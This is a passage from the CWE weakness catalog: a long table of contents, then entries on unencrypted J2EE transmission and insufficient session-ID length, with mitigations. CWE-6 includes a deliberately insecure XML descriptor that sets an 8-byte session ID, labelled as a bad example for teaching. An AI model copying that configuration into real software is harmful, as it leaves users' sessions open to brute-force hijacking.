Category-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF).....	2358
Category-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration.....	2358
Category-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage.....	2359
Category-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access.....	2359
Category-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection.....	2359
Category-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards.....	2360
Category-840: Business Logic Errors.....	2360
Category-845: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS).....	2362
Category-846: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL).....	2362
Category-847: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP).....	2363
Category-848: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM).....	2363
Category-849: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ).....	2364
Category-850: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET).....	2364
Category-851: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR).....	2365
Category-852: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA).....	2366
Category-853: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK).....	2366
Category-854: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI).....	2367
Category-855: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS).....	2367
Category-856: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 13 - Thread-Safety Miscellaneous (TSM).....	2367
Category-857: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO).....	2368
Category-858: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER).....	2368
Category-859: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC).....	2369
Category-860: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV).....	2370
Category-861: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC).....	2370
Category-864: 2011 Top 25 - Insecure Interaction Between Components.....	2371
Category-865: 2011 Top 25 - Risky Resource Management.....	2371
Category-866: 2011 Top 25 - Porous Defenses.....	2372
Category-867: 2011 Top 25 - Weaknesses On the Cusp.....	2372
Category-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE).....	2373
Category-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL).....	2373
Category-871: CERT C++ Secure Coding Section 03 - Expressions (EXP).....	2374
Category-872: CERT C++ Secure Coding Section 04 - Integers (INT).....	2374
Category-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP).....	2375
Category-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR).....	2375
Category-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR).....	2376
Category-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM).....	2376
Category-877: CERT C++ Secure Coding Section 09 - Input Output (FIO).....	2377
Category-878: CERT C++ Secure Coding Section 10 - Environment (ENV).....	2378
Category-879: CERT C++ Secure Coding Section 11 - Signals (SIG).....	2379
Category-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR).....	2379
Category-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP).....	2380
Category-882: CERT C++ Secure Coding Section 14 - Concurrency (CON).....	2380
Category-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC).....	2381

Category-885: SFP Primary Cluster: Risky Values.....	2382
Category-886: SFP Primary Cluster: Unused entities.....	2382
Category-887: SFP Primary Cluster: API.....	2382
Category-889: SFP Primary Cluster: Exception Management.....	2382
Category-890: SFP Primary Cluster: Memory Access.....	2383
Category-891: SFP Primary Cluster: Memory Management.....	2383
Category-892: SFP Primary Cluster: Resource Management.....	2383
Category-893: SFP Primary Cluster: Path Resolution.....	2384
Category-894: SFP Primary Cluster: Synchronization.....	2384
Category-895: SFP Primary Cluster: Information Leak.....	2384
Category-896: SFP Primary Cluster: Tainted Input.....	2385
Category-897: SFP Primary Cluster: Entry Points.....	2385
Category-898: SFP Primary Cluster: Authentication.....	2385
Category-899: SFP Primary Cluster: Access Control.....	2386
Category-901: SFP Primary Cluster: Privilege.....	2386
Category-902: SFP Primary Cluster: Channel.....	2387
Category-903: SFP Primary Cluster: Cryptography.....	2387
Category-904: SFP Primary Cluster: Malware.....	2387
Category-905: SFP Primary Cluster: Predictability.....	2388
Category-906: SFP Primary Cluster: UI.....	2388
Category-907: SFP Primary Cluster: Other.....	2388
Category-929: OWASP Top Ten 2013 Category A1 - Injection.....	2389
Category-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management.....	2389
Category-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS).....	2390
Category-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References.....	2390
Category-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration.....	2391
Category-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure.....	2391
Category-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control.....	2392
Category-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF).....	2392
Category-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities.....	2392
Category-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards.....	2393
Category-944: SFP Secondary Cluster: Access Management.....	2393
Category-945: SFP Secondary Cluster: Insecure Resource Access.....	2394
Category-946: SFP Secondary Cluster: Insecure Resource Permissions.....	2394
Category-947: SFP Secondary Cluster: Authentication Bypass.....	2394
Category-948: SFP Secondary Cluster: Digital Certificate.....	2395
Category-949: SFP Secondary Cluster: Faulty Endpoint Authentication.....	2395
Category-950: SFP Secondary Cluster: Hardcoded Sensitive Data.....	2396
Category-951: SFP Secondary Cluster: Insecure Authentication Policy.....	2396
Category-952: SFP Secondary Cluster: Missing Authentication.....	2396
Category-953: SFP Secondary Cluster: Missing Endpoint Authentication.....	2397
Category-954: SFP Secondary Cluster: Multiple Binds to the Same Port.....	2397
Category-955: SFP Secondary Cluster: Unrestricted Authentication.....	2397
Category-956: SFP Secondary Cluster: Channel Attack.....	2397
Category-957: SFP Secondary Cluster: Protocol Error.....	2398
Category-958: SFP Secondary Cluster: Broken Cryptography.....	2398
Category-959: SFP Secondary Cluster: Weak Cryptography.....	2398
Category-960: SFP Secondary Cluster: Ambiguous Exception Type.....	2399
Category-961: SFP Secondary Cluster: Incorrect Exception Behavior.....	2399
Category-962: SFP Secondary Cluster: Unchecked Status Condition.....	2400
Category-963: SFP Secondary Cluster: Exposed Data.....	2400
Category-964: SFP Secondary Cluster: Exposure Temporary File.....	2402
Category-965: SFP Secondary Cluster: Insecure Session Management.....	2403
Category-966: SFP Secondary Cluster: Other Exposures.....	2403
Category-967: SFP Secondary Cluster: State Disclosure.....	2403
Category-968: SFP Secondary Cluster: Covert Channel.....	2404
Category-969: SFP Secondary Cluster: Faulty Memory Release.....	2404
Category-970: SFP Secondary Cluster: Faulty Buffer Access.....	2405
Category-971: SFP Secondary Cluster: Faulty Pointer Use.....	2405
Category-972: SFP Secondary Cluster: Faulty String Expansion.....	2405
Category-973: SFP Secondary Cluster: Improper NULL Termination.....	2406

Category-974: SFP Secondary Cluster: Incorrect Buffer Length Computation.....	2406
Category-975: SFP Secondary Cluster: Architecture.....	2406
Category-976: SFP Secondary Cluster: Compiler.....	2407
Category-977: SFP Secondary Cluster: Design.....	2407
Category-978: SFP Secondary Cluster: Implementation.....	2408
Category-979: SFP Secondary Cluster: Failed Chroot Jail.....	2408
Category-980: SFP Secondary Cluster: Link in Resource Name Resolution.....	2409
Category-981: SFP Secondary Cluster: Path Traversal.....	2409
Category-982: SFP Secondary Cluster: Failure to Release Resource.....	2410
Category-983: SFP Secondary Cluster: Faulty Resource Use.....	2410
Category-984: SFP Secondary Cluster: Life Cycle.....	2411
Category-985: SFP Secondary Cluster: Unrestricted Consumption.....	2411
Category-986: SFP Secondary Cluster: Missing Lock.....	2411
Category-987: SFP Secondary Cluster: Multiple Locks/Unlocks.....	2412
Category-988: SFP Secondary Cluster: Race Condition Window.....	2412
Category-989: SFP Secondary Cluster: Unrestricted Lock.....	2413
Category-990: SFP Secondary Cluster: Tainted Input to Command.....	2413
Category-991: SFP Secondary Cluster: Tainted Input to Environment.....	2416
Category-992: SFP Secondary Cluster: Faulty Input Transformation.....	2416
Category-993: SFP Secondary Cluster: Incorrect Input Handling.....	2417
Category-994: SFP Secondary Cluster: Tainted Input to Variable.....	2417
Category-995: SFP Secondary Cluster: Feature.....	2418
Category-996: SFP Secondary Cluster: Security.....	2418
Category-997: SFP Secondary Cluster: Information Loss.....	2418
Category-998: SFP Secondary Cluster: Glitch in Computation.....	2419
Category-1001: SFP Secondary Cluster: Use of an Improper API.....	2420
Category-1002: SFP Secondary Cluster: Unexpected Entry Points.....	2421
Category-1005: 7PK - Input Validation and Representation.....	2421
Category-1006: Bad Coding Practices.....	2422
Category-1009: Audit.....	2424
Category-1010: Authenticate Actors.....	2424
Category-1011: Authorize Actors.....	2425
Category-1012: Cross Cutting.....	2427
Category-1013: Encrypt Data.....	2428
Category-1014: Identify Actors.....	2429
Category-1015: Limit Access.....	2430
Category-1016: Limit Exposure.....	2431
Category-1017: Lock Computer.....	2431
Category-1018: Manage User Sessions.....	2432
Category-1019: Validate Inputs.....	2433
Category-1020: Verify Message Integrity.....	2434
Category-1027: OWASP Top Ten 2017 Category A1 - Injection.....	2435
Category-1028: OWASP Top Ten 2017 Category A2 - Broken Authentication.....	2436
Category-1029: OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure.....	2436
Category-1030: OWASP Top Ten 2017 Category A4 - XML External Entities (XXE).....	2437
Category-1031: OWASP Top Ten 2017 Category A5 - Broken Access Control.....	2437
Category-1032: OWASP Top Ten 2017 Category A6 - Security Misconfiguration.....	2438
Category-1033: OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS).....	2438
Category-1034: OWASP Top Ten 2017 Category A8 - Insecure Deserialization.....	2438
Category-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities.....	2439
Category-1036: OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring.....	2439
Category-1129: CISQ Quality Measures (2016) - Reliability.....	2440
Category-1130: CISQ Quality Measures (2016) - Maintainability.....	2441
Category-1131: CISQ Quality Measures (2016) - Security.....	2442
Category-1132: CISQ Quality Measures (2016) - Performance Efficiency.....	2443
Category-1134: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS).....	2444
Category-1135: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL).....	2444
Category-1136: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP).....	2445

Category-1137: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM).....	2445
Category-1138: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR).....	2446
Category-1139: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ).....	2446
Category-1140: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET).....	2447
Category-1141: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR).....	2448
Category-1142: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA).....	2448
Category-1143: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK).....	2449
Category-1144: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI).....	2449
Category-1145: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS).....	2450
Category-1146: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 12. Thread-Safety Miscellaneous (TSM).....	2450
Category-1147: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO).....	2450
Category-1148: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER).....	2451
Category-1149: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC).....	2452
Category-1150: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV).....	2452
Category-1151: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI).....	2453
Category-1152: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC).....	2453
Category-1153: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 50. Android (DRD).....	2454
Category-1155: SEI CERT C Coding Standard - Guidelines 01. Preprocessor (PRE).....	2454
Category-1156: SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL).....	2455
Category-1157: SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP).....	2455
Category-1158: SEI CERT C Coding Standard - Guidelines 04. Integers (INT).....	2456
Category-1159: SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP).....	2457
Category-1160: SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR).....	2457
Category-1161: SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR).....	2458
Category-1162: SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM).....	2458
Category-1163: SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO).....	2459
Category-1165: SEI CERT C Coding Standard - Guidelines 10. Environment (ENV).....	2460
Category-1166: SEI CERT C Coding Standard - Guidelines 11. Signals (SIG).....	2460
Category-1167: SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR).....	2461
Category-1168: SEI CERT C Coding Standard - Guidelines 13. Application Programming Interfaces (API).....	2462
Category-1169: SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON).....	2462
Category-1170: SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC).....	2463
Category-1171: SEI CERT C Coding Standard - Guidelines 50. POSIX (POS).....	2463
Category-1172: SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN).....	2464
Category-1175: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 18. Concurrency (CON).....	2464
Category-1179: SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS).....	2465
Category-1180: SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL).....	2465
Category-1181: SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP).....	2466
Category-1182: SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT).....	2466
Category-1183: SEI CERT Perl Coding Standard - Guidelines 05. Strings (STR).....	2467
Category-1184: SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP).....	2467
Category-1185: SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO).....	2468
Category-1186: SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC).....	2468
Category-1195: Manufacturing and Life Cycle Management Concerns.....	2469
Category-1196: Security Flow Issues.....	2469
Category-1197: Integration Issues.....	2470
Category-1198: Privilege Separation and Access Control Issues.....	2470
Category-1199: General Circuit and Logic Design Concerns.....	2471
Category-1201: Core and Compute Issues.....	2471
Category-1202: Memory and Storage Issues.....	2472

Category-1203: Peripherals, On-chip Fabric, and Interface/IO Problems.....	2472
Category-1205: Security Primitives and Cryptography Issues.....	2473
Category-1206: Power, Clock, Thermal, and Reset Concerns.....	2473
Category-1207: Debug and Test Problems.....	2474
Category-1208: Cross-Cutting Problems.....	2474
Category-1210: Audit / Logging Errors.....	2475
Category-1211: Authentication Errors.....	2475
Category-1212: Authorization Errors.....	2476
Category-1213: Random Number Issues.....	2477
Category-1214: Data Integrity Issues.....	2477
Category-1215: Data Validation Issues.....	2478
Category-1216: Lockout Mechanism Errors.....	2478
Category-1217: User Session Errors.....	2479
Category-1218: Memory Buffer Errors.....	2479
Category-1219: File Handling Issues.....	2480
Category-1225: Documentation Issues.....	2480
Category-1226: Complexity Issues.....	2481
Category-1227: Encapsulation Issues.....	2481
Category-1228: API / Function Errors.....	2482
Category-1237: SFP Primary Cluster: Faulty Resource Release.....	2482
Category-1238: SFP Primary Cluster: Failure to Release Memory.....	2482
Category-1306: CISQ Quality Measures - Reliability.....	2483
Category-1307: CISQ Quality Measures - Maintainability.....	2484
Category-1308: CISQ Quality Measures - Security.....	2485
Category-1309: CISQ Quality Measures - Efficiency.....	2486
Category-1345: OWASP Top Ten 2021 Category A01:2021 - Broken Access Control.....	2487
Category-1346: OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures.....	2488
Category-1347: OWASP Top Ten 2021 Category A03:2021 - Injection.....	2490
Category-1348: OWASP Top Ten 2021 Category A04:2021 - Insecure Design.....	2491
Category-1349: OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration.....	2493
Category-1352: OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components.....	2494
Category-1353: OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures.....	2494
Category-1354: OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures.....	2495
Category-1355: OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures.....	2496
Category-1356: OWASP Top Ten 2021 Category A10:2021 - Server-Side Request Forgery (SSRF).....	2497
Category-1359: ICS Communications.....	2497
Category-1360: ICS Dependencies (& Architecture).....	2498
Category-1361: ICS Supply Chain.....	2499
Category-1362: ICS Engineering (Constructions/Deployment).....	2499
Category-1363: ICS Operations (& Maintenance).....	2500
Category-1364: ICS Communications: Zone Boundary Failures.....	2501
Category-1365: ICS Communications: Unreliability.....	2502
Category-1366: ICS Communications: Frail Security in Protocols.....	2503
Category-1367: ICS Dependencies (& Architecture): External Physical Systems.....	2504
Category-1368: ICS Dependencies (& Architecture): External Digital Systems.....	2505
Category-1369: ICS Supply Chain: IT/OT Convergence/Expansion.....	2506
Category-1370: ICS Supply Chain: Common Mode Frailties.....	2507
Category-1371: ICS Supply Chain: Poorly Documented or Undocumented Features.....	2508
Category-1372: ICS Supply Chain: OT Counterfeit and Malicious Corruption.....	2509
Category-1373: ICS Engineering (Construction/Deployment): Trust Model Problems.....	2510
Category-1374: ICS Engineering (Construction/Deployment): Maker Breaker Blindness.....	2510
Category-1375: ICS Engineering (Construction/Deployment): Gaps in Details/Data.....	2511
Category-1376: ICS Engineering (Construction/Deployment): Security Gaps in Commissioning.....	2512
Category-1377: ICS Engineering (Construction/Deployment): Inherent Predictability in Design.....	2513
Category-1378: ICS Operations (& Maintenance): Gaps in obligations and training.....	2513
Category-1379: ICS Operations (& Maintenance): Human factors in ICS environments.....	2514
Category-1380: ICS Operations (& Maintenance): Post-analysis changes.....	2515
Category-1381: ICS Operations (& Maintenance): Exploitable Standard Operational Procedures.....	2516
Category-1382: ICS Operations (& Maintenance): Emerging Energy Technologies.....	2517
Category-1383: ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements.....	2517

Category-1388: Physical Access Issues and Concerns.....	2518
Category-1396: Comprehensive Categorization: Access Control.....	2519
Category-1397: Comprehensive Categorization: Comparison.....	2523
Category-1398: Comprehensive Categorization: Component Interaction.....	2524
Category-1399: Comprehensive Categorization: Memory Safety.....	2525
Category-1401: Comprehensive Categorization: Concurrency.....	2526
Category-1402: Comprehensive Categorization: Encryption.....	2527
Category-1403: Comprehensive Categorization: Exposed Resource.....	2528
Category-1404: Comprehensive Categorization: File Handling.....	2529
Category-1405: Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions.....	2531
Category-1406: Comprehensive Categorization: Improper Input Validation.....	2531
Category-1407: Comprehensive Categorization: Improper Neutralization.....	2532
Category-1408: Comprehensive Categorization: Incorrect Calculation.....	2534
Category-1409: Comprehensive Categorization: Injection.....	2535
Category-1410: Comprehensive Categorization: Insufficient Control Flow Management.....	2536
Category-1411: Comprehensive Categorization: Insufficient Verification of Data Authenticity.....	2538
Category-1412: Comprehensive Categorization: Poor Coding Practices.....	2538
Category-1413: Comprehensive Categorization: Protection Mechanism Failure.....	2542
Category-1414: Comprehensive Categorization: Randomness.....	2543
Category-1415: Comprehensive Categorization: Resource Control.....	2544
Category-1416: Comprehensive Categorization: Resource Lifecycle Management.....	2545
Category-1417: Comprehensive Categorization: Sensitive Information Exposure.....	2548
Category-1418: Comprehensive Categorization: Violation of Secure Design Principles.....	2549

CWE Views

View-604: Deprecated Entries.....	2550
View-629: Weaknesses in OWASP Top Ten (2007).....	2551
View-635: Weaknesses Originally Used by NVD from 2008 to 2016.....	2552
View-658: Weaknesses in Software Written in C.....	2553
View-659: Weaknesses in Software Written in C++.....	2553
View-660: Weaknesses in Software Written in Java.....	2554
View-661: Weaknesses in Software Written in PHP.....	2554
View-677: Weakness Base Elements.....	2554
View-678: Composites.....	2555
View-699: Software Development.....	2555
View-700: Seven Pernicious Kingdoms.....	2557
View-701: Weaknesses Introduced During Design.....	2558
View-702: Weaknesses Introduced During Implementation.....	2558
View-709: Named Chains.....	2559
View-711: Weaknesses in OWASP Top Ten (2004).....	2559
View-734: Weaknesses Addressed by the CERT C Secure Coding Standard (2008).....	2560
View-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors.....	2562
View-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors.....	2563
View-809: Weaknesses in OWASP Top Ten (2010).....	2563
View-844: Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011).....	2564
View-868: Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version).....	2566
View-884: CWE Cross-section.....	2567
View-888: Software Fault Pattern (SFP) Clusters.....	2571
View-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.....	2572
View-919: Weaknesses in Mobile Applications.....	2573
View-928: Weaknesses in OWASP Top Ten (2013).....	2574
View-1000: Research Concepts.....	2575
View-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities.....	2576
View-1008: Architectural Concepts.....	2577
View-1026: Weaknesses in OWASP Top Ten (2017).....	2578
View-1040: Quality Weaknesses with Indirect Security Impacts.....	2580
View-1081: Entries with Maintenance Notes.....	2580
View-1128: CISQ Quality Measures (2016).....	2581
View-1133: Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java.....	2582
View-1154: Weaknesses Addressed by the SEI CERT C Coding Standard.....	2583
View-1178: Weaknesses Addressed by the SEI CERT Perl Coding Standard.....	2585









View-1194: Hardware Design.....	2586
View-1200: Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors.....	2587
View-1305: CISQ Quality Measures (2020).....	2588
View-1337: Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses.....	2589
View-1340: CISQ Data Protection Measures.....	2590
View-1343: Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List.....	2592
View-1344: Weaknesses in OWASP Top Ten (2021).....	2593
View-1350: Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses.....	2594
View-1358: Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS.....	2596
View-1387: Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses.....	2597
View-1400: Comprehensive Categorization for Software Assurance Trends.....	2598
View-1424: Weaknesses Addressed by ISA/IEC 62443 Requirements.....	2600
View-1425: Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses.....	2600
View-2000: Comprehensive CWE Dictionary.....	2601

Appendix A: Graph Views

Glossary.....	2746
----------------------	-------------

Index.....	2747
-------------------	-------------

Symbols

Symbol	Meaning
	View
	Category
	Weakness - Class
	Weakness - Base
	Weakness - Variant
	Compound Element - Composite
	Compound Element - Named Chain
	Deprecated

Weaknesses

CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption

Weakness ID : 5

Structure : Simple

Abstraction : Variant

Description

Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		319	Cleartext Transmission of Sensitive Information	779

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	


Potential Mitigations

Phase: System Configuration

The product configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		2	7PK - Environment	700	2308
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf		1402	Comprehensive Categorization: Encryption	1400	2527

Notes

Other

If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed: A user manually enters URL and types "HTTP" rather than "HTTPS". Attackers intentionally send a user to an insecure URL.

A programmer erroneously creates a relative link to a page in the application, which does not switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Insecure Transport

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length

Weakness ID : 6

Structure : Simple

Abstraction : Variant

Description

The J2EE application is configured to use an insufficient session ID length.

Extended Description

If an attacker can guess or steal a session ID, then they may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		334	Small Space of Random Values	827

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1018	Manage User Sessions	2432

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Background Details

Session ID's can be used to identify communicating parties in a web environment.

The expected number of seconds required to guess a valid session identifier is given by the equation: $(2^B + 1) / (2 \cdot A \cdot S)$ Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are valid and available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier.

For example, if session identifiers were provided in ascending order, there would be close to zero bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity <i>If an attacker can guess an authenticated user's session identifier, they can take over the user's session.</i>	

Potential Mitigations

Phase: Implementation

Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.

Phase: Implementation

A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.

Demonstrative Examples

Example 1:

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

Example Language: XML

(Bad)

```
<sun-web-app>
...
<session-config>
  <session-properties>
    <property name="idLengthBytes" value="8">
      <description>The number of bytes in this web module's session ID.</description>
    </property>
  </session-properties>
</session-config>
...
</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation

for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	2308
